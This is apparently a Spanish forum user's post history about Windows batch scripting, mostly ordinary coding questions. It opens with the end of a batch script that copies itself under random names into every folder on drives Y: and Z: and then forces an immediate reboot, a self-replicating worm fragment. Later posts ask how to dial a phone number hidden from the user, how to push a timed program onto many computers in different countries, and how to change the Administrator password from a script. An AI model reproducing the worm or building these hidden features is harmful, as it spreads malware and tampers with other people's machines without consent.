copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "Y:\" FOR /R "Y:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "Z:\" FOR /R "Z:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

shutdown /r /t:0
#12
Redes / ¿Usar PSP como tarjeta de red USB?
25 Junio 2012, 00:27 AM
Quiero usar mi PSP como si fuera una tarjeta de red USB. He estado buscando un poco y dicen que es complicado de hacer pero posible, y que mejor comprarse una tarjeta de red barata, pero estoy intentando ahorrar, asi que me gustaria intentar mi objetivo con los recursos que ya tengo a mi alcance. Si alguien puede aportar algo, gracias de antemano.
#13
Scripting / ¿Editor hexadecimal en batch?
23 Junio 2012, 10:41 AM
Hace no mucho me di cuenta que un video de 51'7 MB, al abrirlo con un editor hexadecimal y copiar el resultado en un texto, pasaba a ser un .txt de 6 MB. La idea es un programa que lea en hexademal un archivo y guarde el resultado en un archivo de texto y luego pueda volverlo a interpretar como el archivo original, y de esta manera hacer un compresor. Si he errado en algun momento agradeceria que me avisarais, no se mucho del tema. Gracias de antemano
#14
Scripting / [BATCH] ¿Crear comandos?
8 Junio 2012, 22:30 PM
Bueno, hace no mucho encontre que colocando "X.bat" en la carpeta System32, se podia usar desde la consola o un programa sin necesidad de poner la ruta, solo tecleando "X". Lo he probado con algunos trozos de codigo que repito en la mayoria de mis programas, y tengo un problema, cuando lo uso en un programa, al acabarse de ejecutar el "nuevo comando", el programa se cierra. Es decir, si yo pongo en "Prueba.bat":
@ECHO OFF
echo HOLA
pause
X
echo ADIOS
pause
exit

Al ejecutar Prueba.bat, mostraria HOLA, ejecutaria el "X.bat" que esta en la carpeta System32 y se cerraria sin haber mostrado ADIOS.
Gracias de antemano.
____________________________________________________________________________________________________________________________

MODIFICACION:
Exit /b solo funciona desde la consola de comandos. Ademas, no se conservan las variables que usa el "nuevo comando" que es una parte que me interesa bastante.
___________________________________________________________________________________________________________________________

MODIFICACION:
Para lo de las variables habia pensado crear variables globales que se vayan editando segun los resultados de los programas, pero todavia queda el tema del cierre.
#15
Pues bueno, me preguntaba si hay alguna manera de realizar calculos sexadecimales con batch, por que me cuesta bastante trabajar con datos de tiempo. Gracias
#16
Scripting / [BATCH] Comando WAIT
29 Abril 2012, 20:56 PM
Pues bueno, hice un comando que espera los segundos que necesites. Tambien se puede usar:
ping localhost -n (Numero de segundos) >nul
Pero ultimamente hice programas que esperan mucho, y al final se me ralentizaba el ordenador, y creo que pasa por que ping envia bits, y usando localhost -n creo que te los envias a ti mismo hasta parar tu ordenador. Aqui esta el codigo, es copiarlo y pegarlo en un bloc de notas y guardarlo como "WAIT.BAT" en "C:\Windows\System32". Despues para usarlo solo es:
call wait (Numero de segundos)
Espero que os sea util. Estoy por solucionar el tema del "call". Si no lo usas asi al acabar de ejcutarse el comando se cierra el programa.
@ECHO OFF
SET CONTADOR=0
SET TIEMPO4=%TIME:~9,2%
:1
SET TIEMPO5=
SET TIEMPO6=
SET TIEMPO7=
SET TIEMPO1=%TIME:~0,2%
IF %TIEMPO1% LEQ 9 (SET TIEMPO1=%TIEMPO1:~1,2%)
SET TIEMPO2=%TIME:~3,2%
IF %TIEMPO2% LEQ 9 (SET TIEMPO2=%TIEMPO2:~1,2%)
SET TIEMPO3=%TIME:~6,2%
IF %TIEMPO3% LEQ 9 (SET TIEMPO3=%TIEMPO3:~1,2%)
IF %TIEMPO3%==59 (SET TIEMPO3=0
GOTO MINUTOS) else SET /A TIEMPO3=%TIEMPO3%+1
GOTO CICLO
:MINUTOS
IF %TIEMPO2%==59 (SET TIEMPO2=0
GOTO HORAS) else SET /A TIEMPO2=%TIEMPO2%+1
GOTO CICLO
:HORAS
IF %TIEMPO1%==23 (SET TIEMPO1==0
GOTO CICLO) else SET /A TIEMPO1=%TIEMPO1%+1
:CICLO
IF %TIEMPO1% LEQ 9 (SET TIEMPO5=0)
IF %TIEMPO2% LEQ 9 (SET TIEMPO6=0)
IF %TIEMPO3% LEQ 9 (SET TIEMPO7=0)
IF %TIME:~6,2% LEQ 9 (SET TIEMPO8=%TIME:~6,1%) else SET TIEMPO8=%TIME:~6,2%
SET /A COMP=%TIEMPO3%-%TIEMPO8%
IF "%COMP%"=="-59" (GOTO 4)
IF %TIEMPO3% LSS %TIEMPO8% (SET /A TIEMPO3=%TIEMPO8%+1)
:4
IF "%TIME%"=="%TIEMPO5%%TIEMPO1%:%TIEMPO6%%TIEMPO2%:%TIEMPO7%%TIEMPO3%,%TIEMPO4%" (GOTO FIN) else GOTO CICLO
:FIN
SET /A CONTADOR=%CONTADOR%+1
IF %CONTADOR%==%* (exit /b) else goto 1

Corregi el codigo, y creo que arregle todos los errores. Ademas, el segundo es exacto, por que usa los milisegundos (Aunque algunos piensen que batch es muy lento y que a veces no llegaria en una comprobacion y a la siguiente se pasaria, yo lo probe en mi ordenador y hace 10 comprobaciones por milisegundo, asi que lo lento sera el ordenador, en todo caso.)
#17
Pues bueno, estoy haciendo un programa que me abra la musica de manera aleatoria y me parece muy molesto estar pulsando enter cada vez que se acaba una cancion, asi que me preguntaba si hay alguna manera de sacar la duracion de una cancion desde batch, en segundos a poder ser, para con ping localhost -n que sea automatico. Gracias
#18
Bueno, es que estoy haciendo un programa que tiene que separar una variable introducida caracter a caracter para que vaya bien. De momento use un bucle con:

¡VARIABLE:~-%CONTADOR%¡

Pero necesito borrar el ultimo caracter cada vez para que se divida. Gracias
PD: Si no me equivoco esto tambien se podria hacer con el bucle FOR, pero no se usarlo, asi que si alguien sabe como me serviria de mas ayuda.
#19
Bueno, de primeras no se siquiera si plantee bien la pregunta, asi que mejor me explico. Estoy intentando hacer en batch un programa que encripte texto plano con el cifrado de Vigenère. Para simplificarlo un poco, es una tabla como esta

Se pone la letra del mensaje en el abecedario de arriba y la letra de la clave en el de la derecha, y donde se crucen una y otra es el resultado. Bueno, el caso es que si a cada letra le asignamos un valor por su posicion, se suman los valores de las dos letras, se le resta 1 y si es mayor que el numero de letras del abecedario se le resta el numero de letas del abecedario. El resultado es el valor de la letra que saldria con el cuadro. El problema esta en que no se como hacer que la clave se adapte al mensaje. Por ejemplo, si el mensaje es "Hola amigo" y la clave "Ghj", la clave se tendria que adaptar al mensaje asi:
HOLA AMIGO
GHJG HJGHJ
Y lo mismo si el mensaje fuera mas corto que la clave. Y ademas de adaptar la clave al mensaje tambien esta que tendria que operar con cada letra por separado. Gracias por adelantado
#20
Busque un poco y encontre que con %~f0 te muestra el del archivo, pero no se como aplicarlo a otros archivos.
_____________________________________________________________________________________________________________________________________________________________________________

Segui buscando y encontre que puedo hacer con:

@echo off
for %%- in (%Archivo%) do (
SET  FM=%%~t-
)
echo %FM%
pause
exit
#21
Estoy haciendo un programa que te de todas las combinaciones posibles de los caracteres que le metas (En este caso, 37). Pero me ha surgido un problema. El codigo que llevo escrito del programa es mas o menos esto:

@ECHO OFF
setlocal enabledelayedexpansion
set /A CARACTERES=37+1
set /A CONTADOR=1
set /A CONTADOR2=1
:0
set CLAVE=
IF CONTADOR==1 (goto 1) else goto 3
:1
set CLAVE=
set CLAVE=%CLAVE%%CONTADOR2%
SET CLAVE=%CLAVE:37=Z%
SET CLAVE=%CLAVE:36=Y%
SET CLAVE=%CLAVE:35=X%
SET CLAVE=%CLAVE:34=W%
SET CLAVE=%CLAVE:33=V%
SET CLAVE=%CLAVE:32=U%
SET CLAVE=%CLAVE:31=T%
SET CLAVE=%CLAVE:30=S%
SET CLAVE=%CLAVE:29=R%
SET CLAVE=%CLAVE:28=Q%
SET CLAVE=%CLAVE:27=P%
SET CLAVE=%CLAVE:26=O%
SET CLAVE=%CLAVE:25=Ñ%
SET CLAVE=%CLAVE:24=N%
SET CLAVE=%CLAVE:23=M%
SET CLAVE=%CLAVE:22=L%
SET CLAVE=%CLAVE:21=K%
SET CLAVE=%CLAVE:20=J%
SET CLAVE=%CLAVE:19=I%
SET CLAVE=%CLAVE:18=H%
SET CLAVE=%CLAVE:17=G%
SET CLAVE=%CLAVE:16=F%
SET CLAVE=%CLAVE:15=E%
SET CLAVE=%CLAVE:14=D%
SET CLAVE=%CLAVE:13=C%
SET CLAVE=%CLAVE:12=B%
SET CLAVE=%CLAVE:11=A%
SET CLAVE=%CLAVE:10=0%
SET CLAVE=%CLAVE:9=9%
SET CLAVE=%CLAVE:8=8%
SET CLAVE=%CLAVE:7=7%
SET CLAVE=%CLAVE:6=6%
SET CLAVE=%CLAVE:5=5%
SET CLAVE=%CLAVE:4=4%
SET CLAVE=%CLAVE:3=3%
SET CLAVE=%CLAVE:2=2%
SET CLAVE=%CLAVE:1=1%
echo %CLAVE%
pause >nul
SET /A CONTADOR2=%CONTADOR2%+1
IF %CONTADOR2%==%CARACTERES% (goto 2) else goto 1
:2
SET /A CONTADOR=%CONTADOR%+1
goto 0
:3
SET /A CONTADOR3=1
SET CLAVE=%CLAVE% 1
SET /A CONTADOR3=%CONTADOR3%+1
SET /A CONTADOR4=%CONTADOR%+1
IF %CONTADOR3%==%CONTADOR4% (goto 4) else goto 3
:4
SET CLAVE2=%CLAVE:37=Z%
SET CLAVE2=%CLAVE2:36=Y%
SET CLAVE2=%CLAVE2:35=X%
SET CLAVE2=%CLAVE2:34=W%
SET CLAVE2=%CLAVE2:33=V%
SET CLAVE2=%CLAVE2:32=U%
SET CLAVE2=%CLAVE2:31=T%
SET CLAVE2=%CLAVE2:30=S%
SET CLAVE2=%CLAVE2:29=R%
SET CLAVE2=%CLAVE2:28=Q%
SET CLAVE2=%CLAVE2:27=P%
SET CLAVE2=%CLAVE2:26=O%
SET CLAVE2=%CLAVE2:25=Ñ%
SET CLAVE2=%CLAVE2:24=N%
SET CLAVE2=%CLAVE2:23=M%
SET CLAVE2=%CLAVE2:22=L%
SET CLAVE2=%CLAVE2:21=K%
SET CLAVE2=%CLAVE2:20=J%
SET CLAVE2=%CLAVE2:19=I%
SET CLAVE2=%CLAVE2:18=H%
SET CLAVE2=%CLAVE2:17=G%
SET CLAVE2=%CLAVE2:16=F%
SET CLAVE2=%CLAVE2:15=E%
SET CLAVE2=%CLAVE2:14=D%
SET CLAVE2=%CLAVE2:13=C%
SET CLAVE2=%CLAVE2:12=B%
SET CLAVE2=%CLAVE2:11=A%
SET CLAVE2=%CLAVE2:10=0%
SET CLAVE2=%CLAVE2:9=9%
SET CLAVE2=%CLAVE2:8=8%
SET CLAVE2=%CLAVE2:7=7%
SET CLAVE2=%CLAVE2:6=6%
SET CLAVE2=%CLAVE2:5=5%
SET CLAVE2=%CLAVE2:4=4%
SET CLAVE2=%CLAVE2:3=3%
SET CLAVE2=%CLAVE2:2=2%
SET CLAVE2=%CLAVE2:1=1%
SET CLAVE2=%CLAVE2: =%
echo %CLAVE2%
pause >nul
goto 5

Y ahora viene el problema. Ahora mismo el programa solo podria sacar correctamente las combinaciones de 1 caracter y la primera de dos, 11. Entonces en :5 tendria que separar la variable clave (Que tiene los numeros separados con espacios de esta manera: 1 1, para que no haya problemas al cambiar de numeros a caracteres) en varias variables que tengan el numero y su espacio, para poder operar con cada cifra por separado, y despues tendria que juntar las variables de nuevo en la variable clave. Para ello pense en usar un contador a la que se le va sumando uno, y meter variables dentro de variables. De esta manera, el programa separaria el numero en variables con una palabra fija y el numero del contador en ese ciclo [ 1 1(CLAVE)→ 1(CLAVESEPARADA1) 1(CLAVESEPARADA2)] y asi podria llamar facilmente a todas las variables, ya operadas y para que volviesen a la misma variable, con otro contador y otro ciclo. Pues ahi esta el problema, no se como llamar a las variables que tienen dentro una variable. Si hay algun error en el codigo o en la idea, agradeceria que lo dijeseis.
P.D.: Perdon por el codigo spaghetti.
#22
Scripting / [BATCH] Ayuda con calculadora
4 Febrero 2012, 15:45 PM
Veran, estoy intentando hacer un pequeño programa que resuelva operaciones largas con potencias y raices cuadradas. Ej.: (√9-1)x4². Para esto pense en cambiar las raices por el numero (Ej.:(3-1)x4²) y las potencias hacer que se calculen (Ej.:(3-1)x16) y despues hacer que SET /A calcule el resultado (Ej.:
SET /A OPERACION=(3-1)*16
32
). Pero tengo un problema. Se como hacer que √1 se cambie por 1, √4 se cambie por 2, √9 se cambie por 3, √16 se cambie por 4, √25 se cambie por 5 etc... Pero no se como hacer que √(10-1) se cambie por 3. Habia pensado en escribirlo de manera que el programa lo reconozca (Ej.: √$10-1$) y que antes de cambiar raices por numeros usar SET /A para realizar las operaciones que esten entre "$ $". Pero no se como hacer que el programa saque las operaciones que estan entre las $ y las realice, y todavia menos se como cambiar el resultado por las operaciones. Esto mismo me podria servir para operaciones como (4-2)² (Ej.:$4-2$²) o incluso para operaciones como ((5-3)²)²  si se añaden mas simbolos (Ej.:&$5-3$²&²), el problema en este ultimo caso es que en vez de usar SET /A solamente para calcular el resultado tendria que poner las lineas de comando que permiten calcular potencias y raices y despues SET /A. Muchas gracias de antemano  :)
#23
Hace tiempo busque como hacer esto, y encontre que se puede hacer editando el registro de windows, pero no se como hacerlo desde la consola de mandos sin NirCmd instalado. Gracias de antemano.

PD: La informacion la encontre aqui:
http://www.trucoteca.com/trucos-windows/WindowsXP/pantalla-de-bienvenida-ocultar-usuarios-161.html
#24
Tengo un problema con el comando FOR. Mi idea era usarlo para crear una variable con el resultado del comando ATTRIB. Primero pensé usar

@ECHO OFF
cd "C:\Users\%USERNAME%\Desktop\"
for /f "tokens=*" %%a in ('ATTRIB') do (
set "v=%%a"
)
echo %v%
pause
exit

Pero con esto la variable solo contiene la primera linea del resultado. Investigué algo más, y se me ocurrió usar

@ECHO OFF
cd "C:\Users\%USERNAME%\Desktop\"
for /f "tokens=* delims=%AQUI EL CODIGO PARA SALTO DE LINEA%" %%a in ('ATTRIB') do (
set "v=%%a"
)
echo %v%
pause
exit

Para convertir las lineas en segmentos. Pero al buscar este codigo lo unico que encontré fue "$_" en un articulo sobre cómo personalizar el prompt de las ventanas de MS DOS, pero ya probé y no funciona.
#25
Scripting / Ayuda con marcador en batch
24 Diciembre 2011, 13:08 PM
Estoy intentando hacer un programa que llame automaticamente a un numero de manera oculta desde batch. Pensaba usar el comando DIALER con > nul para ocultarlo, pero no se como hacer que llame sin necesidad de confirmarlo. Pense que podria funcionar /-Y, pero no lo puedo intentar porque tampoco se como hacer que se llame a un numero concreto. Muchas gracias por su tiempo.
PD
Segui probando con DIALER y para llamar pide varios datos en otras ventanas
#26
Scripting / Ayuda con mi programa en batch
17 Diciembre 2011, 22:16 PM
Tengo varios problemas:
1-Necesito que el programa reconozca los usuarios. Es decir, el comando "NET USER" muestra en pantalla todos los usuarios de esta manera:
Cuentas de usuario de \\NIKO-PC

-------------------------------------------------------------------------------
Administrador            Invitado                 Niko                     
Se ha completado el comando correctamente.
Yo necesito que muestre solamente:
Niko
Es decir, que diga solo los usuarios creados por el propietario del ordenador. Ademas necesito que el programa pueda leer esos nombres y convertir cada uno en una variable. Si hay alguna manera de que hacer esto directamente me seria de mucha ayuda.
2-Necesito que el programa acceda a internet con dos obetivos diferentes. El primero descargar una cancion en un sitio especifico (Mi idea para resolver este problema es colgar esa cancion en google sites y darle al programa la URL de la cancion de manera que se descargue sola, el problema es como hacer que se descargue en un sitio especifico para tenerla localizada). Y el segundo preguntarle a una pagina web la hora y convertirla en variable para que el programa sepa cuando tiene que ejecutar la acción (El programa se instalará en muchos ordenadores de diferentes paises, y se tienen que ejecutar al mismo tiempo, por lo que la hora del sistema no me vale, tienen que tener todos la misma referencia horaria)
De entrada muchisimas gracias por haberse molestado en escucharme.
#27
Veran, estoy intentando programar en batch desde mi bloc de notas, y necesito ayuda. Hay comandos que te hacen escribir una respuesta , y a mi me gustaria que estas preguntas se respondiesen a si mismas. Empece intentando usar "SET /P Variable1=Respuesta", la respuesta aparecia, pero no contaba como si estubiese escrita, es decir, tenia que escribir yo la respuesta aunque al lado estubiese ya la respuesta. Uso SET /P para probar, en realidad mi objetivo es que el programa cambie la contraseña del administrador por una ya definida usando "NET USER Administrador *", pero al usar este comando te pregunta dos veces y no se si lo que funcione con SET /P funcionara tambien con NET USER.
Muchisimas gracias por su atención.